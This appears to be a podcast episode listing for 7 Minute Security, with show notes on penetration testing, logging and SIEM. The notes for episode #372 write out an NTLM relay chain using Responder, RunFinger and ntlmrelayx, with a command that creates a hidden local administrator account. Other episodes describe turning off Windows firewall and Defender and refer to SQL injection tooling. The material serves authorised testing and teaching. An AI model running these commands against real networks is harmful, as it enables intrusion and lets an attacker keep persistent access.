7MS #47: Logging and Alerting RELOADED (audio)
7 Minute Security17 Maalis 2015

7MS #47: Logging and Alerting RELOADED (audio)

Hey, you should log the stuff going on in your network. This episode talks about that (again). And I reference some AD-related settings that may not be enabled in your environment…stuff you might want to turn on. Check out that information via this PDF here. 7MS #47: Logging and Alerting Reloaded (audio)

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7MS #378: Interview with Zane West of Proficio

7MS #378: Interview with Zane West of Proficio

In today's episode, I sit down with Zane West of Proficio. Zane has been in information security for more than 20 years - starting out in the "early days" as a sysadmin and then moved up into global infrastructure architect function in the banking world. Today Zane manages Proficio's solution and product development. I sat down with Zane over Skype to talk about how companies can better analyze and defend their networks against attacks. Specifically, we talk about: How important is it to have an IT background before you jump into security? How can newb(ish) security analysts and pentesters better understand the political/financial struggles a business has, rather than charge in and scream "PWN ALL THE THINGS!" Is there a "right way" to step into an organization, get a lay of the land and discover/prioritize their security risks? Why in the world does it take twenty seven people to run a SOC?! When should an organization consider engaging an MSSP to help them with their security needs? What if your MSP also provides MSSP services? Is that a good or bad thing? What are some tips for successfully deploying a SIEM? What is the cyber kill chain about, and is it only something for the Fortune X companies, or can smaller orgs tip their toe in it as well? (Here's a nice graph to help you understand it)

22 Elo 201954min

7MS #377: DIY Pentest Dropbox Tips

7MS #377: DIY Pentest Dropbox Tips

Today's episode is brought to you by ITProTV. It’s never too late to start a new career in IT or move up the ladder, and ITProTV has you covered - from CompTIA and Cisco to EC-Council and VMWare. Get over 65 hours of IT training for free by visiting https://itpro.tv/7minute. In today's episode I cover some of the nasty "gotchas" I've run into when sending my pentest dropboxes around the country. Curious on how to setup your own portable pentest dropboxes (and/or pentest lab environments)? Check out part 1 and part 2 of the DIY Pentest Lab video series. Here are some of the pain points I cover today: Turn the firewall off Set Computer Configuration > Policies > Administrative Templates > Network > Network Connections > Windows Firewall > Domain Profile > Windows Firewall: Protect all network connections to Disabled. Do the same for the Standard Profile by changing Computer Configuration > Policies > Administrative Templates > Network > Network Connections > Windows Firewall > Standard Profile > Windows Firewall: Protect all network connections to Disabled. Disable Windows Defender Navigate to Computer Configuration > Administrative Templates > Windows Components > Windows Defender and choose Turn Off Windows Defender. Disable power sleep settings To stop computers from snoozing on the job, head to Computer Configuration > Policies > Administrative Templates > System > Power Management > Sleep Settings and set Allow standby states (S1-S3) when sleeping (plugged in) to Disabled Create a second disk on the Windows management VM and install BitLocker to Go Check out today's show notes at 7ms.us for more info!

16 Elo 201928min

7MS #376: Tales of SQL Injection Pwnage

7MS #376: Tales of SQL Injection Pwnage

Today's episode is brought to you by ITProTV. It’s never too late to start a new career in IT or move up the ladder, and ITProTV has you covered - from CompTIA and Cisco to EC-Council and VMWare. Get over 65 hours of IT training for free by visiting https://itpro.tv/7minute. We cover a lot of ground today on a variety of topics: I have an Oculus Quest now and I love it. My handle is turdsquirt if you ever wanna shoot some zombies together. I share a story that yes, does involve poop - but only the mention of it. It's nothing like the epic tale (tail?) of my parents' dog pooping in my son's dresser drawers. I had a really fun pentest recently where I found some good old school SQL injection. I took to Slack to share and since then, several of you have reached out to ask how I found the vulnerability. Here are some steps/tips I talk about on today's episode that will help: Watch Sunny's Burp courses on Pluralsight to enhance your Burp abilities Install CO2 from the BApp store When doing a Web app pentest, feed various fields SQL injection payloads, such as the ones in PayloadsAlltheThings Grab a copy of sqlmap Use sites like this one to help tune your sqlmap commands to find vulnerabilities. In the end, my command I used to dump contents of important tables was this: (See today's show notes on the 7MS Web site for more information!)

12 Elo 201938min

7MS #375: Tales of Pentest Fail #3

7MS #375: Tales of Pentest Fail #3

I swear this program isn't turning into the Dr. Phil show, but I have to say that sharing tales of fail is extremely therapeutic for me, and based on your comments, it sounds like many of you feel the same way too. Today's takeaways include: Doing a 8-10 hour internal pentest is probably overly ambitious. Seriously, it's really NOT a lot of time. If a client uses a logging/alerting system, vulnerability scanning is very loud to their digital ears Checking for DNS zone transfers is a good idea!

2 Elo 201940min

7MS #374: Tales of Internal Pentest Pwnage - Part 6

7MS #374: Tales of Internal Pentest Pwnage - Part 6

SafePass.me is the only enterprise solution to protect organizations against credential stuffing and password spraying attacks. Visit safepass.me for more details, and tell them 7 Minute Security sent you to get a 10% discount! Ok, I lied a few episodes ago, and I'm sorry! I was on an epic road trip this week and suddenly remembered the pentest that really had the shortest TTDA (time to domain admin) ever. Enjoy that tale on today's podcast! Oh, and I also reference this gist which might help you test your SIEM bells and whistles. Psssst - I'm sorry (but not sorry) but this episode begins with a long story about a dog pooping inside a dresser drawer. If you'd rather skip that, the actual episode begins at about 29:00)

24 Heinä 20191h 12min

7MS #373: Tales of Pentest Fail #2

7MS #373: Tales of Pentest Fail #2

SafePass.me is the only enterprise solution to protect organizations against credential stuffing and password spraying attacks. Visit safepass.me for more details, and tell them 7 Minute Security sent you to get a 10% discount! Today's episode is a two-tale story of me failing fantastically at vulnerability scanning early in my security career. Enjoy. Because I didn't at the time. :-)

19 Heinä 201934min

7MS #372: Tales of Internal Pentest Pwnage - Part 5

7MS #372: Tales of Internal Pentest Pwnage - Part 5

Today's episode is brought to you by ITProTV. It’s never too late to start a new career in IT or move up the ladder, and ITProTV has you covered - from CompTIA and Cisco to EC-Council and VMWare. Get over 65 hours of IT training for free by visiting https://pro.tv/7minute Today I share the (hopefully) exciting and fun conclusion to last week's episode about a tale of internal pentest pwnage! A few important notes from today's episode: Need to find which hosts on your network have SMB signing disabled, and then get a nice clean list of IPs as a result? Try this: opt/responder/tools/RunFinger.py -i THE.SUBNET.YOU-ARE.ATTACKING/24 -g > hosts.txt grep "Signing:'False'" hosts.txt | grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' > targets.txt Source: Pwning internal networks automagically Ready to pass captured hashes from one host to another? Open responder.conf and turn SMB and HTTP to Off, then get Responder running in one window, and ntlmrelayx in another. Specifically, I like to use ntlmrelayx.py -tf targets.txt where targets.txt is the list of machines you found that are not using SMB signing. I also like to add a -c to run a string of my choice. Check out this fun evil little nugget: net user /add ladmin1 s00p3rn4ughtyguy! /Y & net localgroup Administrators ladmin1 /add & net localgroup "Remote Desktop Users" ladmin1 /add So the full command would be: ntlmrelayx.py -tf targets.txt -c 'net user /add ladmin1 s00p3rn4ughtyguy! /Y & net localgroup Administrators ladmin1 /add & net localgroup "Remote Desktop Users" ladmin1 /add' Check today's show notes at https://7ms.us for more information!

15 Heinä 201943min

7MS #371: Tales of Internal Pentest Pwnage - Part 4

7MS #371: Tales of Internal Pentest Pwnage - Part 4

Today's episode is brought to you by ITProTV. It’s never too late to start a new career in IT or move up the ladder, and ITProTV has you covered - from CompTIA and Cisco to EC-Council and VMWare. Get over 65 hours of IT training for free by visiting https://pro.tv/7minute Happy belated 4th of July! Today I've got another fun tale of internal pentest pwnage that comes out of a few recent assessments I did. These tests were really fun because the clients had good defensive measures in place, such as: Having separate accounts for day-to-day operations and administrative/privileged tasks Local Administrator account largely disabled across the enterprise Lean membership in privileged groups (Domain Admins, Enterprise Admins, Schema Admins, etc.) Hard-to-crack passwords! Will I succeed in getting a solid foothold on this network and (hopefully) escalate to Domain Admin? Check out today's episode to find out!

12 Heinä 201944min

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